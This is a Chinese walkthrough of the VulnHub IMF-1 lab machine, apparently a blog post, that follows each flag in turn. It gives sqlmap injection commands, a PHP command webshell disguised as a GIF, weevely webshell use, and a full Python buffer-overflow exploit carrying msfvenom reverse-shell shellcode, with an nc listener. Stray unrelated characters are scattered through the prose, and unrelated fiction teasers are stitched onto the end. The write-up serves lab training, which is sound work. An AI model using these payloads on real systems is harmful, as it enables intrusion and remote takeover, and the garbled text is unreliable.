【vulnhub】IMF-1(sql注入,上傳繞過雨席,文件解析漏洞菩咨,緩沖區(qū)溢出)

寫在前面

image.png

看作者描述,這臺(tái)靶機(jī)每個(gè)flag都有通向下個(gè)flag的提示,因此要多思考作者留下的線索抽米。

信息收集

探測(cè)靶機(jī)IPnetdiiscover

image.png

確定靶機(jī)IP為:192.168.1.107

查看靶機(jī)開啟服務(wù):nmap -sS -sV -T5 192.168.1.107

image.png

發(fā)現(xiàn)只開啟了http服務(wù)

枚舉

打開首頁(yè)是這樣子的


image.png

只有三個(gè)頁(yè)面特占,逐個(gè)頁(yè)面查看網(wǎng)頁(yè)源代碼,在contact.php里發(fā)現(xiàn)flag1


image.png

找到flag1{YWxsdGhlZmlsZXM=}
flag里面的值看起來像是base64云茸,解出來一看是目,發(fā)現(xiàn)真的是base64加密,解密為:
allthefiles

直譯就是全部文件标捺,到底是什么意思懊纳,也糾結(jié)了挺久,后來繼續(xù)查看網(wǎng)頁(yè)源代碼亡容,發(fā)現(xiàn)這三個(gè)文件的名字有點(diǎn)可疑

image.png

文件名字看上去都是密文嗤疯,拼接到一起后的完整密文為:
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
base64解密后:
image.png

找到flag2{aW1mYWRtaW5pc3RyYXRvcg==}
flag2里面的值,解密以后是字符串:imfadministrator
看上去像是一個(gè)目錄闺兢,瀏覽器打開為:
image.png

看上去像是需要爆破這個(gè)登錄信息茂缚。

隨便輸入admin:123456,提示了兩個(gè)信息


image.png

invalid username屋谭,直接告訴我們用戶名是錯(cuò)誤的脚囊,也就是說我們可以先爆破看看有什么用戶名
I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger
hard-coded the password就是把密碼直接寫在了代碼里,不經(jīng)過數(shù)據(jù)庫(kù)戴而,也就是說不用考慮sql注入

關(guān)于用戶名凑术,在contact.php這個(gè)頁(yè)面里已經(jīng)給出了幾個(gè)待選的賬號(hào)


image.png

這里我們至少可以做一個(gè)用戶字典,包括:
Roger S. Michaels
rmichaels@imf.local
rmichaels
Alexander B. Keith
akeith@imf.local
akeith
Elizabeth R. Stone
estone@imf.local
estone
由于字典數(shù)目不多所意,我們大可手動(dòng)測(cè)試淮逊,最后測(cè)試rmichaels這個(gè)用戶名返回的值跟其他幾個(gè)賬號(hào)都不一樣


image.png

現(xiàn)在我們可以確定這個(gè)后臺(tái)的一個(gè)賬號(hào)為:rmichaels
一般這種時(shí)候就用burpsuite了,事實(shí)上我一開始也是這個(gè)思路扶踊,爆破了一個(gè)多小時(shí)以后泄鹏,我依然沒有得到密碼,這個(gè)時(shí)候我就想會(huì)不會(huì)思路錯(cuò)了秧耗。一般而言备籽,這些靶機(jī)如果想考你爆破,常規(guī)字典最多十幾分鐘就能跑出來了分井,跑這么久密碼還沒出來那應(yīng)該不是考爆破车猬。吐槽一下,打靶機(jī)以來我就沒用過burpsuite成功爆破過后臺(tái)的尺锚。珠闰。。

這里我卡了蠻久瘫辩,后來還是看了大佬的提示伏嗜,原來pass字段傳一個(gè)空數(shù)組能爆出flag3


image.png

我他媽坛悉。。承绸。

找到flag3{Y29udGludWVUT2Ntcw==}

解出來是:continueTOcms

回到頁(yè)面繼續(xù)cms操作裸影,點(diǎn)擊IMF CMS


image.png

進(jìn)去發(fā)現(xiàn)只有三個(gè)頁(yè)面,查看源碼沒發(fā)現(xiàn)有什么特別的東西军熏,于是嘗試修改get參數(shù)轩猩,發(fā)現(xiàn)好像有注入點(diǎn)


image.png

把burpsuite里的http訪問內(nèi)容保存成一個(gè)文件


image.png

用sqlmap嘗試注入,發(fā)現(xiàn)果然可以注入
sqlmap -r imf.txt -p "pagename" --dbms=mysql --batch --level=3 --risk=3 --random-agent

image.png

打開admin數(shù)據(jù)庫(kù)里的pages表荡澎,發(fā)現(xiàn)一個(gè)可疑的文件
sqlmap -r imf.txt -p "pagename" --dbms=mysql --batch --random-agent --technique B -D admin -T pages --dump

image.png

打開這個(gè)圖片的鏈接界轩,發(fā)現(xiàn)是一個(gè)二維碼,簡(jiǎn)書不可以貼二維碼衔瓮,就不貼圖了
路徑:http://192.168.1.107/imfadministrator/images/whiteboard.jpg
用手機(jī)微信掃一下浊猾,得到flag4

找到flag4{dXBsb2Fkcjk0Mi5waHA=}、

密文解出來是:uploadr942.php

在url打開這個(gè)文件热鞍,發(fā)現(xiàn)一個(gè)上傳點(diǎn):


image.png

嘗試上傳一個(gè)圖片文件葫慎,發(fā)現(xiàn)回顯了一個(gè)字符串


image.png

經(jīng)過驗(yàn)證是上傳后的文件名


image.png

到這里思路就很明顯了,上傳一個(gè)webshell薇宠,繞過上傳驗(yàn)證即可偷办。(uploads這個(gè)文件夾可通過目錄爆破得到,或者自己猜出來澄港,這里不贅敘)

燃鵝椒涯,這個(gè)上傳限制,不但限制了文件類型回梧,文件后綴還有一個(gè)waf會(huì)檢測(cè)文件的內(nèi)容是否有特殊的php函數(shù)废岂,比較坑爹。這里還是要參考大佬的繞過方法狱意,這個(gè)方法我在upload lab里沒有遇到過湖苞,算是邊學(xué)邊練了。

構(gòu)造一個(gè)文件:

GIF
<?php
$c = $_GET[c];
echo `$c`;
?>

image.png

第一行的GIF是為了繞過內(nèi)容限制
然后把文件名字改成.gif結(jié)尾详囤,就可以像php文件一樣執(zhí)行财骨,我猜這應(yīng)該是利用了apache的某個(gè)文件解析漏洞?
上傳以后根據(jù)回顯的文件名藏姐,在url里訪問:


image.png

c后面的參數(shù)可以執(zhí)行任意命令隆箩,遍歷uploads里面的文件,拿到flag5


image.png

找到flag5{YWdlbnRzZXJ2aWNlcw==}

flag5解出來是:agentservices

雖然可以在url上直接運(yùn)行命令羔杨,但是還是比較難使用的捌臊,我們需要有一個(gè)webshell,可以用weevely生成一個(gè)

weevely generate pass shell.php
pass是連接的密碼问畅,shell.php是生成的木馬文件名字娃属。由于靶機(jī)只能接收jpg/png/gif等格式的文件上傳,所以我們這里需要把生成的木馬文件改為gif后綴护姆,以及在第一行添加GIF字樣以繞過靶機(jī)的文件內(nèi)容限制矾端。

image.png

上傳完成,拿到生成的文件名字卵皂,用weevely連接靶機(jī)
weevely http://192.168.3.150/imfadministrator/uploads/da380a0441c6.gif pass
上面的命令第一個(gè)參數(shù)是木馬地址秩铆,第二個(gè)參數(shù)是連接密碼,我們拿到一個(gè)webshell

image.png

因?yàn)閒lag5提示我們留意agentservice服務(wù)灯变,用netstat -ant查看本機(jī)服務(wù)

image.png

可以看到本地監(jiān)聽了一個(gè)7788端口殴玛,應(yīng)該就是對(duì)應(yīng)的agent服務(wù)
我們用whereis agent查看agent安裝在哪個(gè)位置
image.png

去到/usr/local/bin/目錄,發(fā)現(xiàn)有兩個(gè)文件添祸,查看access_code滚粟,顯示SYN 7482,8279,9467
image.png

上面信息收集的時(shí)候用nmap沒有探測(cè)到7788這個(gè)端口,需要用konck敲開
image.png

把靶機(jī)上的agent文件下載到本地刃泌,執(zhí)行
file_download /usr/local/bin/agent /root/agent
file命令查看文件凡壤,確認(rèn)agent是ELF32位文件,這一步主要是下面生成shellcode的時(shí)候需要知道靶機(jī)是x86還是x64

image.png

給agent文件提權(quán)耙替,嘗試執(zhí)行


image.png

提示Invalid Agent ID亚侠,那么也就是需要找到一個(gè)正確的Agent ID

用ltrace命令跟蹤進(jìn)程調(diào)用庫(kù)函數(shù),fgets函數(shù)輸入任意值(可試多幾次)俗扇,每次均顯示strncmp("任意值\n", "48093572", 8)這行代碼硝烂,看意思應(yīng)該是拿我們的輸入跟48093572這個(gè)值比對(duì),如果不正確就返回Invalid Agent ID铜幽。那么也就是說48093572就是我們需要的agentid


image.png

用得到的agentid嘗試執(zhí)行agent程序滞谢,果然返回了操作menu


image.png

這里其實(shí)考察的是緩沖區(qū)溢出,我們用msfvenom來編譯一個(gè)shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.3.67 LPORT=6666 -f python -b "\x00\x0a\x0b"

image.png

把上面顯示的buf復(fù)制粘貼到下面的python代碼中:

import socket
 
# Target related variables
remotehost = "192.168.3.150"
remoteport = 7788
menuoption = 3
agentid = 48093572
 
# Default recv size
recvsize = 512
 
# Connnect to remote host
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((remotehost, remoteport))
client.recv(recvsize)
client.send("{0}\n".format(agentid))
client.recv(recvsize)
client.send("{0}\n".format(menuoption))
client.recv(recvsize)
 
# Payload genereated by Msfvenom, to be force fed into reporting tool
buf =  b""
buf += b"\xd9\xc8\xd9\x74\x24\xf4\x5f\xbb\xdd\x1b\x6a\x46\x29"
buf += b"\xc9\xb1\x12\x83\xef\xfc\x31\x5f\x13\x03\x82\x08\x88"
buf += b"\xb3\x0d\xf4\xbb\xdf\x3e\x49\x17\x4a\xc2\xc4\x76\x3a"
buf += b"\xa4\x1b\xf8\xa8\x71\x14\xc6\x03\x01\x1d\x40\x65\x69"
buf += b"\x5e\x1a\x96\x2a\x36\x59\x99\xb6\xcc\xd4\x78\x76\xb6"
buf += b"\xb6\x2b\x25\x84\x34\x45\x28\x27\xba\x07\xc2\xd6\x94"
buf += b"\xd4\x7a\x4f\xc4\x35\x18\xe6\x93\xa9\x8e\xab\x2a\xcc"
buf += b"\x9e\x47\xe0\x8f"
 
# Buffer is too small to trigger overflow. Fattening it up!
# 168 is the offset I found using pattern_offset
buf += "A" * (168 - len(buf))
 
# EAX call I made note of earlier in this segment
buf += "\x63\x85\x04\x08\n"
 
# And off we go!
client.send(buf)

在kali開啟一個(gè)監(jiān)聽除抛,輸入:nc -lvp 6666
執(zhí)行上面的python代碼爹凹,成功得到一個(gè)root shell

image.png

拿到flag6{R2gwc3RQcm90MGMwbHM=}

總結(jié)

非常精彩的靶機(jī),涵蓋了很多知識(shí)點(diǎn)镶殷,難怪作者希望做的人能過learn something禾酱。
我目前還沒有學(xué)到緩沖區(qū)溢出,這臺(tái)算是找了找感覺绘趋,后面要好好學(xué)習(xí)一下這塊颤陶。
上傳限制繞過那里應(yīng)該是利用apache的文件解析漏洞,如果我理解錯(cuò)了陷遮,請(qǐng)不吝賜教滓走。
后面回查了上傳限制的代碼,果然用了白名單帽馋,那當(dāng)然比黑名單限制就安全的多搅方,下次再遇到這種情況比吭,可以參考文件解析這個(gè)思路。姨涡。衩藤。


image.png

關(guān)于爆破密碼,回看了靶機(jī)的源代碼涛漂,密碼設(shè)置的非常的長(zhǎng)赏表,可以說是不可能被爆破
每一次請(qǐng)求都sleep了3秒,注釋也是說不要嘗試爆破匈仗。下次如果十幾分鐘還沒爆出密碼來趕緊換思路瓢剿。。悠轩。间狂。
在密碼比較判斷的時(shí)候,用了strcmp函數(shù)火架,strcmp的方法是比較傳入的兩個(gè)字符串前标,第一個(gè)參數(shù)是源串,第二個(gè)參數(shù)是比較的字符串距潘,如果相等則返回0炼列。然而這是理想的結(jié)果,由于php是弱類型語(yǔ)言音比,而傳進(jìn)來的pass也沒有任何的校驗(yàn)俭尖,當(dāng)pass的值是一個(gè)空數(shù)組時(shí)依然會(huì)返回比對(duì)成功,也算是php的一個(gè)坑洞翩。


image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末稽犁,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子骚亿,更是在濱河造成了極大的恐慌已亥,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,194評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件来屠,死亡現(xiàn)場(chǎng)離奇詭異虑椎,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)俱笛,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,058評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門捆姜,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人迎膜,你說我怎么就攤上這事泥技。” “怎么了磕仅?”我有些...
    開封第一講書人閱讀 156,780評(píng)論 0 346
  • 文/不壞的土叔 我叫張陵珊豹,是天一觀的道長(zhǎng)簸呈。 經(jīng)常有香客問我,道長(zhǎng)店茶,這世上最難降的妖魔是什么蜕便? 我笑而不...
    開封第一講書人閱讀 56,388評(píng)論 1 283
  • 正文 為了忘掉前任,我火速辦了婚禮忽妒,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘兼贸。我一直安慰自己段直,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,430評(píng)論 5 384
  • 文/花漫 我一把揭開白布溶诞。 她就那樣靜靜地躺著鸯檬,像睡著了一般。 火紅的嫁衣襯著肌膚如雪螺垢。 梳的紋絲不亂的頭發(fā)上喧务,一...
    開封第一講書人閱讀 49,764評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音枉圃,去河邊找鬼功茴。 笑死,一個(gè)胖子當(dāng)著我的面吹牛孽亲,可吹牛的內(nèi)容都是我干的坎穿。 我是一名探鬼主播,決...
    沈念sama閱讀 38,907評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼返劲,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼玲昧!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起篮绿,我...
    開封第一講書人閱讀 37,679評(píng)論 0 266
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤孵延,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后亲配,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體尘应,經(jīng)...
    沈念sama閱讀 44,122評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,459評(píng)論 2 325
  • 正文 我和宋清朗相戀三年吼虎,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了菩收。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,605評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡鲸睛,死狀恐怖娜饵,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情官辈,我是刑警寧澤箱舞,帶...
    沈念sama閱讀 34,270評(píng)論 4 329
  • 正文 年R本政府宣布遍坟,位于F島的核電站,受9級(jí)特大地震影響晴股,放射性物質(zhì)發(fā)生泄漏愿伴。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,867評(píng)論 3 312
  • 文/蒙蒙 一电湘、第九天 我趴在偏房一處隱蔽的房頂上張望隔节。 院中可真熱鬧,春花似錦寂呛、人聲如沸怎诫。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,734評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)幻妓。三九已至,卻和暖如春劫拢,著一層夾襖步出監(jiān)牢的瞬間肉津,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,961評(píng)論 1 265
  • 我被黑心中介騙來泰國(guó)打工舱沧, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留妹沙,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,297評(píng)論 2 360
  • 正文 我出身青樓熟吏,卻偏偏與公主長(zhǎng)得像初烘,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子分俯,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,472評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容